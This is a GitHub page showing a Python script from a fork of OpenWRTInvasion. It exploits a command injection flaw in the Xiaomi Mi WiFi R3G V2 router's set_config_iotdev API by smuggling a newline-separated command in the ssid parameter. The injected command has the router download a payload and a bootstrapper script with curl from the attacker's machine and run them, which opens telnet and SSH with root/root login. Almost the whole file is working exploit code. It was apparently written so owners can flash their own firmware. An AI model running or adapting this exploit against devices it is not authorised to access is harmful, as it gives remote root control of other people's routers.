forked from acecilia/OpenWRTInvasion
-
Notifications
You must be signed in to change notification settings - Fork 15
/
remote_command_execution_vulnerability.py
179 lines (161 loc) · 7.91 KB
/
remote_command_execution_vulnerability.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/python
'''
There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20 and up we can
use to activate Telnet and SSH to flash our own system on them.
The script creates a payload, which is served via a local HTTP server, port 8000. The router
will download the payload, extracts it and executes the already known script.
The busybox executable was removed from the firmware, so we have to include one, same with
dropbear for SSH. They will be in the payload, no other downloads necessary.
Source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775
HOW TO RUN
Install requirements
pip3 install -r requirements.txt
Run the script
python3 remote_command_execution_vulnerability.py
'''
import os
import shutil
import tarfile
import requests
import sys
import re
import time
import random
import hashlib
import platform
import socket
import urllib.parse
import socket
#------------------------------------------------------------------------------------------------------------------
if platform.system() == "Windows":
sys.exit("Stopping: script can only be run on a Mac/Linux system")
#------------------------------------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------------------------------------
# functions
# get_hosting_ip for the webserver request
def get_hosting_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(0)
try:
# doesn't even have to be reachable
s.connect(('192.168.31.1', 1))
IP = s.getsockname()[0]
except Exception:
IP = '127.0.0.1'
finally:
s.close()
return IP
#------------------------------------------------------------------------------------------------------------------
# get stok for router access
def get_stok(router_ip_address):
try:
r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address))
except:
print ("Xiaomi router not found...")
return None
try:
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
except:
print ("Xiaomi router not found...")
return None
key = re.findall(r'key: \'(.*)\',', r0.text)[0]
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
router_password = "12345678"
router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password
account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest()
password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest()
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address),
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"})
try:
stok = re.findall(r'"token":"(.*?)"',r1.text)[0]
except:
print("Failed to get stok in login response '{}'".format(r1.text))
return None
return stok
#------------------------------------------------------------------------------------------------------------------
# create_exploit_url creates the URL we use, to upload our payload and execute it
def create_exploit_url(http_port_number):
exploit_cmd = "cd /tmp && "
exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number)
exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number)
exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number)
print("exploit url: {}".format(exploit_cmd))
exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F")
print("exploit_code: {}".format(exploit_code))
exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code)
print("exploit_url: {}".format(exploit_url))
return exploit_url
#------------------------------------------------------------------------------------------------------------------
# checkHost - checks the host connection
def checkHost(ip, port):
ipup = False
for i in range(retry):
if isOpen(ip, port):
ipup = True
break
else:
time.sleep(delay)
return ipup
#------------------------------------------------------------------------------------------------------------------
# isOpen checks ports on the router
def isOpen(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
s.connect((ip, int(port)))
s.shutdown(socket.SHUT_RDWR)
return True
except:
return False
finally:
s.close()
#------------------------------------------------------------------------------------------------------------------
# BuildPayload creates the tar.gz we let the router download from out client
def BuildPayload():
if os.path.exists("build"):
shutil.rmtree("build")
os.makedirs("build")
# Make tar
with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
tar.add("script_v2.sh", "script.sh")
tar.add("extras/busybox/busybox", "busybox")
tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2")
#------------------------------------------------------------------------------------------------------------------
def ExecuteInjection():
from http_file_server import HttpFileServer
web_server = HttpFileServer("build")
with web_server:
# upload and execute payload
print("start uploading payload file...")
payload_download = requests.get(create_exploit_url(web_server.port))
print(payload_download.text)
#------------------------------------------------------------------------------------------------------------------
# Scriptstart
#------------------------------------------------------------------------------------------------------------------
hosting_ip = get_hosting_ip()
http_port_number = 0
router_ip_address="192.168.31.1"
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address
hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip
stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ")
print("****************")
print("router_ip_address: " + router_ip_address)
print("stok: " + stok)
print("****************")
BuildPayload()
ExecuteInjection()
retry = 5
delay = 5
timeout = 20
if checkHost(router_ip_address, 22):
print("done! Now you can connect to the router using several options: (user: root, password: root)")
print("* telnet {}".format(router_ip_address))
print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address))
print("* ftp: using a program like cyberduck")
else:
print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.")
print("* Maybe your firmware version is not supported, please have a look at https://github.com/acecilia/OpenWRTInvasion/blob/master/README.md#unsupported-routers-and-firmware-versions")
print("* Anyway you can try it with: telnet {}".format(router_ip_address))